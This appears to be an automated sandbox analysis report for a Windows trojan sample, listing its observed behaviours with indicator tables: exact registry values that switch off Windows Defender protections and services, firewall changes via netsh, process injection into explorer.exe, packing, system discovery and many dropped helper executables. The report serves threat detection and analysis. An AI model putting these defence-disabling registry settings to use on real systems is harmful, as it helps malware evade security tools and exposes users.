13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52

Windows Service

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScriptScanning = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRoutinelyTakingAction = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Modifies Windows Defender notification settings 3 TTPs 4 IoCs

evasion trojan

Windows Service

Modify Registry

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender Security Center\Notifications\DisableEnhancedNotifications = "1"	reg.exe

Modifies security service 2 TTPs 4 IoCs

evasion

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4"	reg.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
3644	netsh.exe
2872	netsh.exe

ACProtect 1.3x - 1.4x DLL software 1 IoCs

Detects file using ACProtect software.

resource	yara_rule
behavioral2/memory/4996-1105-0x0000000074710000-0x0000000074719000-memory.dmp	acprotect

Deletes itself 1 IoCs

pid	Process
4556	explorer.exe

Executes dropped EXE 62 IoCs

pid	Process
4028	dotNetFx40_Full_setup.exe
2320	Setup.exe
4680	dotNetFx45_Full_setup.exe
4588	Setup.exe
1192	SetACL64.exe
4172	SetACL64.exe
3016	SetACL64.exe
2588	SetACL64.exe
4360	SetACL64.exe
4388	SetACL64.exe
2452	SetACL64.exe
3896	SetACL64.exe
3196	PowerRun64.exe
2092	PowerRun64.exe
4008	PowerRun64.exe
5084	PowerRun64.exe
3684	PowerRun64.exe
2444	PowerRun64.exe
3044	PowerRun64.exe
2056	PowerRun64.exe
1692	PowerRun64.exe
4132	PowerRun64.exe
2912	PowerRun64.exe
4480	PowerRun64.exe
3096	PowerRun64.exe
216	PowerRun64.exe
4308	PowerRun64.exe
2320	PowerRun64.exe
2648	PowerRun64.exe
3080	PowerRun64.exe
3636	PowerRun64.exe
3580	PowerRun64.exe
1696	PowerRun64.exe
2064	PowerRun64.exe
2264	PowerRun64.exe
3064	PowerRun64.exe
4456	PowerRun64.exe
1388	PowerRun64.exe
2092	PowerRun64.exe
2316	PowerRun64.exe
1964	PowerRun64.exe
3476	PowerRun64.exe
4136	PowerRun64.exe
1992	PowerRun64.exe
2816	PowerRun64.exe
4536	PowerRun64.exe
2600	PowerRun64.exe
2868	PowerRun64.exe
4400	PowerRun64.exe
4556	PowerRun64.exe
2556	PowerRun64.exe
2872	PowerRun64.exe
2492	PowerRun64.exe
5064	PowerRun64.exe
3860	PowerRun64.exe
2460	PowerRun64.exe
4964	PowerRun64.exe
2092	PowerRun64.exe
1464	PowerRun64.exe
4176	PowerRun64.exe
3644	acxxtzcogvgr.exe
4948	win_version_csharp.exe

Loads dropped DLL 13 IoCs

pid	Process
4996	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe
4996	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe
2320	Setup.exe
2320	Setup.exe
4588	Setup.exe
4588	Setup.exe
4996	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe
4996	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe
4996	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe
4996	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe
4996	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe
4996	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe
4996	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features	SetACL64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features	SetACL64.exe

Modifies Security services 2 TTPs 10 IoCs

Modifies the startup behavior of a security service.

defense_evasion

Modify Registry

persistence privilege_escalation

Impair Defenses

T1562

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SecurityHealthService\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisDrv\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SecurityHealthService\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdFilter\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisDrv\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisSvc\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdBoot\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdFilter\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisSvc\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdBoot\Start = "4"	reg.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4996 set thread context of 4556	4996	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe	284

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4996-1105-0x0000000074710000-0x0000000074719000-memory.dmp	upx

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3180	powershell.exe
4060	powershell.exe
4028	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dotNetFx40_Full_setup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Setup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dotNetFx45_Full_setup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Setup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Setup.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	PowerRun64.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2320	Setup.exe
2320	Setup.exe
2320	Setup.exe
2320	Setup.exe
2320	Setup.exe
2320	Setup.exe
2320	Setup.exe
2320	Setup.exe
4588	Setup.exe
4588	Setup.exe
4588	Setup.exe
4588	Setup.exe
4588	Setup.exe
4588	Setup.exe
4588	Setup.exe
4588	Setup.exe
3196	PowerRun64.exe
3196	PowerRun64.exe
3196	PowerRun64.exe
3196	PowerRun64.exe
2092	PowerRun64.exe
2092	PowerRun64.exe
2092	PowerRun64.exe
2092	PowerRun64.exe
4008	PowerRun64.exe
4008	PowerRun64.exe
4008	PowerRun64.exe
4008	PowerRun64.exe
3684	PowerRun64.exe
3684	PowerRun64.exe
3684	PowerRun64.exe
2444	PowerRun64.exe
3684	PowerRun64.exe
2444	PowerRun64.exe
2444	PowerRun64.exe
2444	PowerRun64.exe
2056	PowerRun64.exe
2056	PowerRun64.exe
2056	PowerRun64.exe
2056	PowerRun64.exe
1692	PowerRun64.exe
1692	PowerRun64.exe
1692	PowerRun64.exe
1692	PowerRun64.exe
2912	PowerRun64.exe
2912	PowerRun64.exe
4480	PowerRun64.exe
4480	PowerRun64.exe
2912	PowerRun64.exe
2912	PowerRun64.exe
4480	PowerRun64.exe
4480	PowerRun64.exe
216	PowerRun64.exe
216	PowerRun64.exe
4308	PowerRun64.exe
4308	PowerRun64.exe
216	PowerRun64.exe
216	PowerRun64.exe
4308	PowerRun64.exe
4308	PowerRun64.exe
2648	PowerRun64.exe
2648	PowerRun64.exe
2648	PowerRun64.exe
2648	PowerRun64.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeBackupPrivilege	1192	SetACL64.exe
Token: SeRestorePrivilege	1192	SetACL64.exe
Token: SeTakeOwnershipPrivilege	1192	SetACL64.exe
Token: SeBackupPrivilege	4172	SetACL64.exe
Token: SeRestorePrivilege	4172	SetACL64.exe
Token: SeTakeOwnershipPrivilege	4172	SetACL64.exe
Token: SeBackupPrivilege	3016	SetACL64.exe
Token: SeRestorePrivilege	3016	SetACL64.exe
Token: SeTakeOwnershipPrivilege	3016	SetACL64.exe
Token: SeBackupPrivilege	2588	SetACL64.exe
Token: SeRestorePrivilege	2588	SetACL64.exe
Token: SeTakeOwnershipPrivilege	2588	SetACL64.exe
Token: SeBackupPrivilege	4360	SetACL64.exe
Token: SeRestorePrivilege	4360	SetACL64.exe
Token: SeTakeOwnershipPrivilege	4360	SetACL64.exe
Token: SeBackupPrivilege	4388	SetACL64.exe
Token: SeRestorePrivilege	4388	SetACL64.exe
Token: SeTakeOwnershipPrivilege	4388	SetACL64.exe
Token: SeBackupPrivilege	2452	SetACL64.exe
